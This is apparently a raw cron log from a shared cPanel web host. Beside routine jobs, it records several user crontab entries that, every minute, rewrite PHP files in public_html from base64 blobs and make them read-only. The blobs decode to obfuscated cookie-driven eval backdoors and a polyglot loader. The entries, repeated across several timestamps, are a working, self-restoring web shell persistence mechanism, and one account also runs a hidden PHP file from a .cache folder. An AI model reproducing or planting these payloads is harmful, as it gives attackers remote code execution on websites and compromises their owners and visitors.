Mar  1 18:05:02 medusa CROND[8358]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:05:02 medusa CROND[8359]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:05:02 medusa CROND[8360]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 18:05:02 medusa CROND[8361]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:05:02 medusa CROND[8362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:05:02 medusa CROND[8363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:05:02 medusa CROND[8367]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:05:02 medusa CROND[8368]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:05:02 medusa CROND[8369]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:05:02 medusa CROND[8365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:05:02 medusa CROND[8376]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:05:02 medusa CROND[8383]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:05:02 medusa CROND[8394]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:05:02 medusa CROND[8396]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:05:02 medusa CROND[8401]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:06:01 medusa CROND[32475]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:06:01 medusa CROND[32538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:06:01 medusa CROND[32617]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:06:01 medusa CROND[32618]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:06:01 medusa CROND[32619]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:06:01 medusa CROND[32620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:06:01 medusa CROND[32621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:06:01 medusa CROND[32622]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:06:01 medusa CROND[32634]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:06:01 medusa CROND[32635]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:06:01 medusa CROND[32637]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:06:01 medusa CROND[32639]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:06:01 medusa CROND[32640]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:06:01 medusa CROND[32641]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:06:01 medusa CROND[32643]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:07:01 medusa CROND[24486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:07:01 medusa CROND[24489]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:07:01 medusa CROND[24491]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 